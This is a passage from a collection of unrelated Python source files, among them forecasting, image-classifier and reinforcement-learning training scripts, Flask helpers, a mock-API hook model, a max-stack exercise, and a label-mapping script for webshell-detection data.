cardinality=list([1]),\n use_feat_static_cat=False\n )\n elif model == \"GaussianProcess\": # CPU / GPU problem\n estimator = gp_forecaster.GaussianProcessEstimator(\n freq=dataset.freq,\n prediction_length=dataset.prediction_length,\n trainer=trainer,\n cardinality=1\n )\n elif model == \"NPTS\":\n estimator = npts.NPTSEstimator(\n freq=dataset.freq,\n prediction_length=dataset.prediction_length\n )\n elif model == \"MQCNN\":\n estimator = seq2seq.MQCNNEstimator(\n prediction_length=dataset.prediction_length,\n freq=dataset.freq,\n context_length=dataset.context_length,\n trainer=trainer,\n quantiles=list([0.005, 0.05, 0.25, 0.5, 0.75, 0.95, 0.995])\n )\n elif model == \"MQRNN\":\n estimator = seq2seq.MQRNNEstimator(\n prediction_length=dataset.prediction_length,\n freq=dataset.freq,\n context_length=dataset.context_length,\n trainer=trainer,\n quantiles=list([0.005, 0.05, 0.25, 0.5, 0.75, 0.95, 0.995])\n )\n elif model == \"RNN2QR\": # Must be investigated\n estimator = seq2seq.RNN2QRForecaster(\n prediction_length=dataset.prediction_length,\n freq=dataset.freq,\n context_length=dataset.context_length,\n trainer=trainer,\n cardinality=dataset.cardinality,\n embedding_dimension=1,\n encoder_rnn_layer=1,\n encoder_rnn_num_hidden=1,\n decoder_mlp_layer=[1],\n decoder_mlp_static_dim=1\n )\n elif model == \"SeqToSeq\": # Must be investigated\n estimator = seq2seq.Seq2SeqEstimator(\n prediction_length=dataset.prediction_length,\n freq=dataset.freq,\n context_length=dataset.context_length,\n trainer=trainer,\n cardinality=[1],\n embedding_dimension=1,\n decoder_mlp_layer=[1],\n decoder_mlp_static_dim=1,\n encoder=Seq2SeqEncoder()\n )\n elif model == \"Transformer\": # Make the computer lag the first time\n estimator = transformer.TransformerEstimator(\n prediction_length=dataset.prediction_length,\n freq=dataset.freq,\n context_length=dataset.context_length,\n trainer=trainer\n )\n\n else:\n estimator = None\n\n # Predictor (directly if non machine learning model and from estimator if machine learning)\n if model == \"Prophet\":\n predictor = prophet.ProphetPredictor(\n freq=dataset.freq,\n prediction_length=dataset.prediction_length,\n )\n elif model == \"R\":\n predictor = r_forecast.RForecastPredictor(\n freq=dataset.freq,\n prediction_length=dataset.prediction_length,\n method_name=r_method\n )\n elif model == \"SeasonalNaive\":\n predictor = seasonal_naive.SeasonalNaivePredictor(\n freq=dataset.freq,\n prediction_length=dataset.prediction_length,\n season_length=24\n )\n else:\n predictor = estimator.train(dataset.train_ds)\n if model[0] != \"c\":\n predictor.serialize(Path(\"temp\"))\n predictor = Predictor.deserialize(Path(\"temp\"), ctx=mx.cpu(0)) # fix for deepstate\n\n # Evaluate\n forecast_it, ts_it = make_evaluation_predictions(\n dataset=dataset.test_ds, # test dataset\n predictor=predictor, # predictor\n num_samples=num_samples, # num of sample paths we want for evaluation\n )\n\n return list(forecast_it), list(ts_it)\n","sub_path":"forecast.py","file_name":"forecast.py","file_ext":"py","file_size_in_byte":7524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"513175173","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\nimport torchvision\nfrom torchvision import models, transforms\nfrom torch.utils.data import Dataset, DataLoader\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport time\nimport os\nimport copy\nimport pandas as pd\nfrom datetime import datetime\n\ndata_dir = \"data/\"\n\n# Models to choose from [resnet, alexnet, vgg, squeezenet, densenet, inception]\nmodel_name = \"resnet\"\n\n# Number of classes in the dataset\nnum_classes = 11\n\n# Batch size for training (change depending on how much memory you have)\nbatch_size = 32\n\n# Number of epochs to train for\nnum_epochs = 200\n\n# Flag for feature extracting. When False, we finetune the whole model,\n# when True we only update the reshaped layer params\nfeature_extract = False\n\n#use pretrained models\npre_trained=True\n\ndef train_model(model, train_dataloader, test_dataloader, criterion, optimizer, num_epochs=25, is_inception=False):\n print(\"Model name: \" + model_name)\n since = time.time()\n\n test_acc_history = []\n\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n\n iter = 0\n\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1))\n print('-' * 10)\n\n time_current = time.time() - since\n print('Consumed Time {:.0f}m {:.0f}s'.format(time_current // 60, time_current % 60))\n\n # Iterate over data.\n for i, (inputs, labels) in enumerate(train_dataloader):\n inputs = inputs.to(device, dtype=torch.float)\n labels = labels.to(device, dtype=torch.long)\n labels = torch.squeeze(labels)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n # track history if only in train\n with torch.set_grad_enabled(True):\n # Get model outputs and calculate loss\n # Special case for inception because in training it has an auxiliary output. In train\n # mode we calculate the loss by summing the final output and the auxiliary output\n # but in testing we only consider the final output.\n if is_inception:\n outputs, aux_outputs = model(inputs)\n loss1 = criterion(outputs, labels)\n loss2 = criterion(aux_outputs, labels)\n loss = loss1 + 0.4*loss2\n else:\n inputs = inputs.permute(0, 2, 1, 3)\n outputs = model(inputs)\n loss = criterion(outputs, labels)\n\n # backward + optimize only if in training phase\n loss.backward()\n optimizer.step()\n\n iter += 1\n if iter % 100 == 0:\n print(\"Training... Epoch {}, Training iteration {}\".format(epoch, iter))\n\n if iter % 1000 == 0:\n correct = 0\n total = 0\n test_iteration = 0\n\n for inputs, labels in test_dataloader:\n inputs = inputs.to(device, dtype=torch.float)\n labels = labels.to(device, dtype=torch.long)\n labels = torch.squeeze(labels)\n\n inputs = inputs.permute(0, 2, 1, 3)\n outputs = model(inputs)\n _, predicted = torch.max(outputs, 1)\n labels = labels.unsqueeze(0)\n total += labels.size(1)\n correct += (predicted == labels).sum()\n\n test_iteration += 1\n if test_iteration % 200 == 0:\n print(\" Testing... Epoch: {}, Training iteration: {}, Test iteration: {}\".format(epoch, iter, test_iteration))\n\n accuracy = 100 * correct // total\n print(' Iteration: {}. Loss: {}. Accuracy: {}'.format(iter, loss.item(), accuracy))\n\n test_acc_history.append(best_acc)\n\n if accuracy > best_acc:\n print(\"In Epoch: {}, Iteration: {}, Accuracy: {}, Better accuracy appears!!!\".format(epoch, iter, accuracy))\n best_acc = accuracy\n best_model = copy.deepcopy(model)\n test_acc_history.append(best_acc.item())\n\n torch.save(best_model, \"trained_model/\" + datetime.now().strftime('%Y-%m-%d_%H:%M:%S') + \"_\" + model_name + \"_pretrained.pth\")\n with open('log/' + model_name + '/' + datetime.now().strftime('%Y-%m-%d_%H:%M:%S') + \"_\" + model_name + '_test_accuracy_history.npy', 'wb') as f:\n np.save(f, test_acc_history)\n\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n print('Best test Acc: {:4f}'.format(best_acc))\n\n return test_acc_history\n\ndef set_parameter_requires_grad(model, feature_extracting):\n if feature_extracting:\n for param in model.parameters():\n param.requires_grad = False\n\ndef initialize_model(model_name, num_classes, feature_extract, use_pretrained=True):\n # Initialize these variables which will be set in this if statement. Each of these\n # variables is model specific.\n model_ft = None\n input_size = 0\n\n if model_name == \"resnet\":\n \"\"\" Resnet18\n \"\"\"\n # model_ft = models.resnet18(pretrained=use_pretrained)\n model_ft = torch.load(\"model/resnet.pth\")\n model_ft.conv1 = torch.nn.Conv2d(2, 64, kernel_size=7, stride=2, padding=3, bias=False)\n set_parameter_requires_grad(model_ft, feature_extract)\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = nn.Linear(num_ftrs, num_classes)\n input_size = 224\n\n elif model_name == \"alexnet\":\n \"\"\" Alexnet\n \"\"\"\n model_ft = models.alexnet(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n num_ftrs = model_ft.classifier[6].in_features\n model_ft.classifier[6] = nn.Linear(num_ftrs,num_classes)\n input_size = 224\n\n elif model_name == \"vgg\":\n \"\"\" VGG11_bn\n \"\"\"\n model_ft = models.vgg11_bn(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n num_ftrs = model_ft.classifier[6].in_features\n model_ft.classifier[6] = nn.Linear(num_ftrs,num_classes)\n input_size = 224\n\n elif model_name == \"squeezenet\":\n \"\"\" Squeezenet\n \"\"\"\n model_ft = models.squeezenet1_0(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n model_ft.classifier[1] = nn.Conv2d(512, num_classes, kernel_size=(1,1), stride=(1,1))\n model_ft.num_classes = num_classes\n input_size = 224\n\n elif model_name == \"densenet\":\n \"\"\" Densenet\n \"\"\"\n model_ft = models.densenet121(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n num_ftrs = model_ft.classifier.in_features\n model_ft.classifier = nn.Linear(num_ftrs, num_classes)\n input_size = 224\n\n elif model_name == \"inception\":\n \"\"\" Inception v3\n Be careful, expects (299,299) sized images and has auxiliary output\n \"\"\"\n model_ft = models.inception_v3(pretrained=use_pretrained)\n set_parameter_requires_grad(model_ft, feature_extract)\n # Handle the auxilary net\n num_ftrs = model_ft.AuxLogits.fc.in_features\n model_ft.AuxLogits.fc = nn.Linear(num_ftrs, num_classes)\n # Handle the primary net\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = nn.Linear(num_ftrs,num_classes)\n input_size = 299\n\n else:\n print(\"Invalid model name, exiting...\")\n exit()\n\n return model_ft, input_size\n\n# Initialize the model for this run\nmodel_ft, input_size = initialize_model(model_name, num_classes, feature_extract, use_pretrained=pre_trained)\n\n# Print the model we just instantiated\nprint(model_ft)\n\n# Data augmentation and normalization for training\n# Just normalization for validation\ndata_transforms = {\n 'train': transforms.Compose([\n transforms.RandomResizedCrop(input_size),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ]),\n 'test': transforms.Compose([\n transforms.Resize(input_size),\n transforms.CenterCrop(input_size),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ]),\n}\n\nprint(\"Initializing Datasets and Dataloaders...\")\n\nclass ActivitySkeletalDataset(Dataset):\n \"\"\"Face Landmarks dataset.\"\"\"\n\n def __init__(self, root_dir, key, model_name, transform=None):\n \"\"\"\n Args:\n csv_file (string): Path to the csv file with annotations.\n root_dir (string): Directory with all the images.\n transform (callable, optional): Optional transform to be applied\n on a sample.\n \"\"\"\n self.data = pd.read_hdf(root_dir+\"data_training_test.h5\", key=key+\"_data\")\n self.labels = pd.read_hdf(root_dir+\"data_training_test.h5\", key=key+\"_label\")\n self.root_dir = root_dir\n # self.transform = transform\n self.transform = transforms.Compose([transforms.ToTensor()])\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n\n data = self.data.iloc[idx, 0:]\n\n if model_name == 'resnet':\n # 3D version\n # data = np.array([data])\n # vector_x = []\n # vector_y = []\n # vector_z = [0 for i in range(18)]\n # for i in range(0, 36):\n # if i % 2 == 0:\n # vector_x.append(data[0][i])\n # else:\n # vector_y.append(data[0][i])\n # data = np.stack([np.array(vector_x), np.array(vector_y), np.array(vector_z)])\n # data = data.astype('double')\n\n # 2D Version\n data = np.array([data])\n vector_x = []\n vector_y = []\n for i in range(0, 36):\n if i % 2 == 0:\n vector_x.append(data[0][i])\n else:\n vector_y.append(data[0][i])\n data = np.stack([np.array(vector_x), np.array(vector_y)])\n data = data.astype('double')\n\n if model_name == 'alexnet':\n data = np.array(data).reshape(-1, 1)\n data_column_expanded = data\n for i in range(8):\n data_column_expanded = np.concatenate((data_column_expanded, data_column_expanded), axis=1)\n data_column_expanded = data_column_expanded[:, 0:252]\n data_row_column_expanded = data_column_expanded\n for i in range(6):\n data_row_column_expanded = np.concatenate((data_row_column_expanded, data_column_expanded), axis=0)\n data = np.array([data_row_column_expanded, data_row_column_expanded, data_row_column_expanded]).astype('double')\n\n\n result = self.labels.iloc[idx]\n result = np.array([result])\n result = result.astype('int')\n\n if self.transform:\n data = self.transform(data)\n result = self.transform(result)\n\n return data, result\n\n# Create training and test datasets\ntrain_activity_dataset = ActivitySkeletalDataset(data_dir, 'train', 'alexnet', data_transforms['train'])\ntest_activity_dataset = ActivitySkeletalDataset(data_dir, 'test', 'alexnet', data_transforms['test'])\n\n# Create training and test dataloaders\ntrain_dataloader = torch.utils.data.DataLoader(train_activity_dataset, batch_size=batch_size, shuffle=True, num_workers=0)\ntest_dataloader = torch.utils.data.DataLoader(test_activity_dataset, batch_size=batch_size, shuffle=True, num_workers=0)\n\n# Detect if we have a GPU available\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n# Send the model to GPU\nmodel_ft = model_ft.to(device)\n\n# Gather the parameters to be optimized/updated in this run. If we are\n# finetuning we will be updating all parameters. However, if we are\n# doing feature extract method, we will only update the parameters\n# that we have just initialized, i.e. the parameters with requires_grad\n# is True.\nparams_to_update = model_ft.parameters()\nprint(\"Params to learn:\")\nif feature_extract:\n params_to_update = []\n for name,param in model_ft.named_parameters():\n if param.requires_grad == True:\n params_to_update.append(param)\n print(\"\\t\",name)\nelse:\n for name,param in model_ft.named_parameters():\n if param.requires_grad == True:\n print(\"\\t\",name)\n\n# Observe that all parameters are being optimized\noptimizer_ft = optim.SGD(params_to_update, lr=0.001, momentum=0.9)\n\ncriterion = nn.CrossEntropyLoss()\n\n# Train and evaluate\nhist = train_model(model_ft, train_dataloader, test_dataloader, criterion, optimizer_ft, num_epochs=num_epochs, is_inception=(model_name==\"inception\"))","sub_path":"train_resnet.py","file_name":"train_resnet.py","file_ext":"py","file_size_in_byte":13094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"484001679","text":"import os\nimport time\nfrom collections import deque\nfrom itertools import count\nimport argparse\nfrom tensorboardX import SummaryWriter\n\nimport gym\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom hapg.algo.hapg_lvc import HAPG_LVC\nfrom hapg.utils import *\nfrom hapg.algo import gail\nfrom hapg.arguments import get_args\nfrom hapg.envs import make_vec_envs\nfrom hapg.model import Policy\nfrom hapg.storage import RolloutStorage\n\nGAMMA = 0.995\nLR = 0.01\nSEED = 1\nCUDA = True\nENV_NAME = \"Hopper-v2\"\nnum_process = 10\nouter_batch = 1000 # batch_size per process\ninner_batch = 1000\nnum_inner = 0\nfor SEED in [11, 21]:\n for ENV_NAME in [\"HalfCheetah-v2\", \"Walker2d-v2\", \"Hopper-v2\", \"Humanoid-v2\", \"Ant-v2\"]:\n for LR in [0.3, 0.5]:\n if num_inner == 10:\n logdir = \"./HAPG_LVC_ps/%s/batchsize%d_innersize%d_seed%d_lr%f\"%(str(ENV_NAME),outer_batch, inner_batch, SEED, LR)\n elif num_inner == 0:\n logdir = \"./SGD_no_adam/%s/batchsize%d_innersize%d_seed%d_lr%f\"%(str(ENV_NAME),outer_batch, inner_batch, SEED, LR)\n writer = SummaryWriter(log_dir=logdir)\n torch.manual_seed(SEED)\n torch.cuda.manual_seed_all(SEED)\n\n torch.set_num_threads(1)\n device = torch.device(\"cuda:0\" if CUDA else \"cpu\")\n\n envs = make_vec_envs(ENV_NAME, SEED, num_process,\n GAMMA, \"./\", device, False)\n inner_envs = make_vec_envs(ENV_NAME, SEED, 1,\n GAMMA, \"./\", device, False)\n\n actor_critic = Policy(\n envs.observation_space.shape,\n envs.action_space,\n base_kwargs={'recurrent': False})\n actor_critic.to(device)\n\n agent = HAPG_DICE(\n actor_critic,\n 0.5,\n 0.0,\n lr=LR,\n lr_inner=LR)\n\n rollouts = RolloutStorage(outer_batch, num_process,\n envs.observation_space.shape, envs.action_space,\n actor_critic.recurrent_hidden_state_size)\n rollouts_inner = RolloutStorage(inner_batch * 10, 1,\n envs.observation_space.shape, envs.action_space,\n actor_critic.recurrent_hidden_state_size)\n\n obs = envs.reset()\n rollouts.obs[0].copy_(obs)\n rollouts.to(device)\n\n obs_inner = inner_envs.reset()\n rollouts_inner.obs[0].copy_(obs_inner)\n rollouts_inner.to(device)\n\n episode_rewards = deque(maxlen=10)\n total_num_steps = 0\n\n for j in count():\n # sample\n for step in range(outer_batch):\n # Sample actions\n with torch.no_grad():\n value, action, action_log_prob, recurrent_hidden_states = actor_critic.act(\n rollouts.obs[step], rollouts.recurrent_hidden_states[step],\n rollouts.masks[step])\n\n # Obser reward and next obs\n obs, reward, done, infos = envs.step(action)\n for info in infos:\n if 'episode' in info.keys():\n episode_rewards.append(info['episode']['r'])\n # If done then clean the history of observations.\n masks = torch.FloatTensor(\n [[0.0] if done_ else [1.0] for done_ in done])\n bad_masks = torch.FloatTensor(\n [[0.0] if 'bad_transition' in info.keys() else [1.0]\n for info in infos])\n rollouts.insert(obs, recurrent_hidden_states, action,\n action_log_prob, value, reward, masks, bad_masks)\n\n with torch.no_grad():\n next_value = actor_critic.get_value(\n rollouts.obs[-1], rollouts.recurrent_hidden_states[-1],\n rollouts.masks[-1]).detach()\n\n # process sample\n rollouts.compute_returns(next_value, True, GAMMA,\n 0.97, True)\n\n # compute updated params\n prev_params = get_flat_params_from(actor_critic)\n value_loss, action_loss, dist_entropy, grad, d_theta = agent.update(rollouts)\n cur_params = get_flat_params_from(actor_critic)\n rollouts.after_update()\n total_num_steps += outer_batch * num_process\n writer.add_scalar(\"Avg_return\", np.mean(episode_rewards), total_num_steps)\n writer.add_scalar(\"grad_norm\", torch.norm(grad), total_num_steps)\n\n for inner_update in range(num_inner):\n for _ in range(10):\n a = np.random.uniform()\n mix_params = a*prev_params + (1-a)*cur_params\n set_flat_params_to(actor_critic, mix_params)\n for step in range(inner_batch):\n # Sample actions\n with torch.no_grad():\n value, action, action_log_prob, recurrent_hidden_states = actor_critic.act(\n rollouts_inner.obs[step], rollouts_inner.recurrent_hidden_states[step],\n rollouts_inner.masks[step])\n\n # Obser reward and next obs\n obs, reward, done, infos = inner_envs.step(action)\n for info in infos:\n if 'episode' in info.keys():\n episode_rewards.append(info['episode']['r'])\n # If done then clean the history of observations.\n masks = torch.FloatTensor(\n [[0.0] if done_ else [1.0] for done_ in done])\n bad_masks = torch.FloatTensor(\n [[0.0] if 'bad_transition' in info.keys() else [1.0]\n for info in infos])\n rollouts_inner.insert(obs, recurrent_hidden_states, action,\n action_log_prob, value, reward, masks, bad_masks)\n\n with torch.no_grad():\n next_value = actor_critic.get_value(\n rollouts_inner.obs[-1], rollouts_inner.recurrent_hidden_states[-1],\n rollouts_inner.masks[-1]).detach()\n\n # process sample\n rollouts_inner.compute_returns(next_value, True, GAMMA,\n 0.97, True)\n # compute updated params\n set_flat_params_to(actor_critic, cur_params)\n prev_params = cur_params\n value_loss, action_loss, dist_entropy, grad, d_theta = agent.inner_update(rollouts_inner, grad, d_theta)\n rollouts_inner.after_update()\n cur_params = get_flat_params_from(actor_critic)\n\n total_num_steps += inner_batch * 10\n print(total_num_steps, np.mean(episode_rewards))\n writer.add_scalar(\"Avg_return\", np.mean(episode_rewards), total_num_steps)\n writer.add_scalar(\"grad_norm\", torch.norm(grad), total_num_steps)\n\n if j % 1 == 0 and len(episode_rewards) > 1:\n print(\n \"Updates {}, num timesteps {}\\n Last {} training episodes: mean/median reward {:.1f}/{:.1f}, min/max reward {:.1f}/{:.1f}\\n\"\n .format(j, total_num_steps,\n len(episode_rewards), np.mean(episode_rewards),\n np.median(episode_rewards), np.min(episode_rewards),\n np.max(episode_rewards), dist_entropy, value_loss,\n action_loss))\n if j > 300:\n break","sub_path":"HAPG_LVC/sgd_ps_ad.py","file_name":"sgd_ps_ad.py","file_ext":"py","file_size_in_byte":8312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"459646875","text":"from flaskblog import create_app\n\n\napp = create_app()\n\n# the below code help solve the problem of solving environment variable at the command line\n# with this code, there is no need of setting envinronment variable\nif __name__ == '__main__':\n\tapp.run(debug=True) \n ","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"278429163","text":"from app import Base, DBSession\r\nimport transaction, json\r\nfrom app.modules.api_base.renderer import ApiException\r\nfrom sqlalchemy import Table, Column, Integer, String, ForeignKey, Float, Boolean, Text, or_\r\nfrom sqlalchemy.orm import relationship, backref\r\nfrom sqlalchemy.dialects.mysql import LONGTEXT\r\n\r\nclass Hook(Base):\r\n __tablename__ = 'hooks'\r\n id = Column(Integer, primary_key=True)\r\n enabled = Column(Boolean)\r\n project_id = Column(Integer, ForeignKey('projects.id'))\r\n request_method = Column(String(16))\r\n request_url = Column(Text)\r\n response_code = Column(Integer)\r\n response_headers = Column(Text)\r\n response_body = Column(LONGTEXT)\r\n\r\n project = relationship('Project', uselist=False, backref='hooks')\r\n\r\n def serialize(self):\r\n return {\r\n 'id': self.id,\r\n 'enabled': self.enabled,\r\n 'request_method': self.request_method,\r\n 'request_url': self.request_url,\r\n 'response_code': self.response_code,\r\n 'response_headers': self.get_response_headers(),\r\n 'response_body': self.response_body\r\n }\r\n\r\n def set_response_headers(self, headers):\r\n self.response_headers = json.dumps(headers)\r\n\r\n def get_response_headers(self):\r\n return json.loads(self.response_headers)\r\n\r\n @classmethod\r\n def save(cls, hook_id, project_id, request_method, request_url, response_code, response_headers, response_body):\r\n existing_hook = DBSession.query(Hook).filter(Hook.project_id==project_id).filter(Hook.request_method==request_method).filter(Hook.request_url==request_url).filter(Hook.id!=hook_id).first()\r\n if existing_hook:\r\n raise ApiException('duplicating_hook', 'There is another hook with such method and url')\r\n\r\n if hook_id:\r\n hook = DBSession.query(Hook).get(hook_id)\r\n if hook is None:\r\n raise ApiException('hook_not_found', 'Hook not found')\r\n else:\r\n hook = Hook()\r\n hook.project_id = project_id\r\n hook.enabled = True\r\n\r\n hook.request_method = request_method\r\n hook.request_url = request_url\r\n hook.response_code = response_code\r\n hook.set_response_headers(response_headers)\r\n hook.response_body = response_body\r\n\r\n while hook.request_url.endswith('/'):\r\n hook.request_url = hook.request_url[:-1]\r\n\r\n if not hook_id:\r\n DBSession.add(hook)\r\n DBSession.flush()\r\n\r\n return hook\r\n\r\n\r\n @classmethod\r\n def for_request(cls, project_id, method, url):\r\n return DBSession.query(Hook).filter(Hook.project_id==project_id).filter(Hook.request_url==url).filter(Hook.request_method==method).filter(Hook.enabled==True).first()\r\n\r\n","sub_path":"app/modules/api/models/hooks.py","file_name":"hooks.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"277027462","text":"# Implements a stack that knows the current max at all times\n\n\nclass MaxStack:\n def __init__(self, lst):\n self.stack = lst\n\n current_max = float('-inf')\n\n def keep_new_max(n):\n nonlocal current_max\n if n >= current_max:\n current_max = n\n return True\n return False\n\n self.max_stack = list(filter(keep_new_max, lst))\n\n def get_max(self):\n if not self.stack:\n return 'Error'\n return self.max_stack[-1]\n\n def pop(self):\n if not self.stack:\n return 'Error'\n if self.stack[-1] == self.max_stack[-1]:\n self.max_stack.pop()\n return self.stack.pop()\n\n def push(self, n):\n if not self.stack:\n return 'Error'\n if n > self.max_stack[-1]:\n self.max_stack.append(n)\n self.stack.append(n)\n\nms = MaxStack([1, 2, 3])\nassert ms.max_stack == [1, 2, 3]\nassert ms.get_max() == 3\nassert ms.pop() == 3\nassert ms.get_max() == 2\n\nms = MaxStack([3, 2, 1])\nassert ms.max_stack == [3]\nassert ms.get_max() == 3\nassert ms.pop() == 1\nassert ms.get_max() == 3\nms.push(2)\nassert ms.get_max() == 3\nms.push(4)\nassert ms.get_max() == 4\nassert ms.pop() == 4\nassert ms.get_max() == 3\n\nms = MaxStack([])\nassert ms.get_max() == 'Error'\n","sub_path":"elements_of_programming_interviews/chapter_8_stacks_and_queues/8.1_max_of_stack.py","file_name":"8.1_max_of_stack.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"348183039","text":"# !/usr/bin/env python\n# coding: utf-8\nimport functools\n\nfrom flask import Blueprint, Response, jsonify\n\n__author__ = 'zhouhenglc'\n\n\nclass View(Blueprint):\n jinja_env = {}\n\n def register_jinja_global_env(self, key, value):\n self.jinja_env[key] = value\n\n def add_url_rule(self, rule, endpoint=None, view_func=None, **options):\n if view_func:\n @functools.wraps(view_func)\n def inner(*args, **kwargs):\n r = view_func(*args, **kwargs)\n if isinstance(r, Response):\n return r\n if isinstance(r, dict):\n return jsonify(r)\n\n return r\n Blueprint.add_url_rule(self, rule, endpoint, inner, **options)\n else:\n Blueprint.add_url_rule(self, rule, endpoint, view_func, **options)\n","sub_path":"flask_helper/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"444864386","text":"#! /usr/bin/env python3\nimport csv\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\nfrom sklearn.utils import shuffle\n\n'''\ndataPath = '../data' \nfileNames = ['dataCleaned.csv']\nfileNameBinary = webshell_binary_file2\n'''\ndef execute(dataPath, fileNames, fileNameBinary):\n df = pd.read_csv(os.path.join(dataPath, fileNames[0]))\n\n for name in fileNames[1:]:\n fname = os.path.join(dataPath, name)\n print('appending:', fname)\n df1 = pd.read_csv(fname)\n df = df.append(df1, ignore_index=True)\n\n df = shuffle(df)\n print('creating binary file')\n print(df.Label.unique())\n # df['Label'] = df['Label'].map(\n # {'Benign': 'Benign', 'Brute Force -Web': 'Malicious', 'Brute Force -XSS': 'Malicious',\n # 'SQL Injection': 'Malicious'})\n\n df['Label'] = df['Label'].map(\n {'Benign': 'Benign', 'URL-Webshell-command': 'Webshell', 'Webshell': 'Webshell',\n 'Webshell-command': 'Webshell'})\n \n outFile = os.path.join(dataPath, fileNameBinary)\n df.to_csv(outFile + '.csv', index=False)","sub_path":"createbinaryfile.py","file_name":"createbinaryfile.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"443664660","text":"# Python script to submit and monitor ECS tasks\nimport boto3\nfrom time import sleep\nboto3\n\n\n# maximum number of running task on this cluster\n# for family='galacticus'\nMAX_CONCURRENT_TASKS = 6\n\n# total number of galacticus tasks to be submitted\nNUM_TASKS = 100\n\n# number of seconds between task listing queries\nSLEEP_SECONDS = 10\n\n#session = boto3.Session(profile_name='saml')\n#client = session.client('ecs')\nclient = boto3.client('ecs', region_name='us-west-2')\n\nitask = 0\nnum_running_tasks = 0\n\n# submit tasks\nwhile itask < NUM_TASKS:\n\n response = client.list_tasks(cluster='EDRN', \n family='galacticus', \n desiredStatus='RUNNING')\n num_running_tasks = len(response[\"taskArns\"])\n print(\"Number of running tasks:%s\" % num_running_tasks)\n \n if num_running_tasks < MAX_CONCURRENT_TASKS:\n itask += 1\n tree_file= \"Tree_UNIT_001_SF10000_d%s.hdf5\" % itask\n outout_file = \"galacticus_%s.hdf5\" % itask\n print(\"Submitting task for tree file=%s\" % itask)\n resp = client.run_task(cluster='EDRN', \n taskDefinition=\"galacticus\",\n launchType='EC2', \n overrides={\n 'containerOverrides': [\n {\n \"name\": \"galacticus\",\n \"environment\": [\n {\n \"name\": \"TREE_FILE\",\n \"value\": tree_file\n },\n {\n \"name\": \"OUTPUT_FILE\",\n \"value\": outout_file\n },\n {\n \"name\": \"PARAMETER_FILE\",\n \"value\": \"parameters/snapshotExampleMPI_193_Template.xml\"\n }\n ]\n }\n ]\n }\n )\n print(\"Task submission response=%s\" % resp)\n else:\n sleep(SLEEP_SECONDS)\n \n# keep monitoring until all tasks but this one are done\nwhile num_running_tasks > 1:\n response = client.list_tasks(cluster='EDRN', \n family='galacticus', \n desiredStatus='RUNNING')\n num_running_tasks = len(response[\"taskArns\"])\n print(\"Number of running tasks:%s\" % num_running_tasks)\n sleep(SLEEP_SECONDS)\n \n \n","sub_path":"ecs/run_ecs_tasks.py","file_name":"run_ecs_tasks.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"59729581","text":"import matplotlib\nmatplotlib.use(\"Agg\")\n\nfrom miniVGGNet import MiniVGGNet\n\nfrom keras.optimizers import SGD\nfrom sklearn.preprocessing import LabelBinarizer\nfrom sklearn.metrics import classification_report\nfrom keras.datasets import cifar10\nfrom keras import backend as K\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nprint(\"[INFO] loading CIFAR-10 Dataset...\")\n((trainX, trainY), (testX, testY)) = cifar10.load_data()\n\n#_ Color Normalization\ntrainX = trainX.astype(\"float\") / 255.0\ntestX = testX.astype(\"float\") / 255.0\n\n#_ Binarize Y \nlb = LabelBinarizer()\ntrainY = lb.fit_transform(trainY)\ntestY = lb.transform(testY)\n\n#_ init classes\nlabelNames = [\n \"airplane\",\n \"automobile\",\n \"bird\",\n \"cat\",\n \"deer\",\n \"dog\",\n \"frog\",\n \"horse\",\n \"ship\",\n \"truck\"\n]\n\n#- Init and compile model\nprint(\"[INFO] compiling model...\")\n#_ learning-rate = 0.01\n#_ momentum-term = 0.9\n#_ Nestrov accelerated gradient to SGD optimizer set to True\n\n#_ decay -> slowly reduce the learning rate over time | helps to reducing overfitting and obtaining higher classification accuracy, the smaller the learning rate is the smaller the weight updates will be.\n\n#_ common decay calc -> divide the initial learning rate by total number of epochs\nopt = SGD(lr=0.01, decay=0.01, momentum=0.9, nesterov=True)\nmodel = MiniVGGNet.build(width=32, height=32, depth=3, classes=10)\nmodel.compile(loss=\"categorical_crossentropy\", 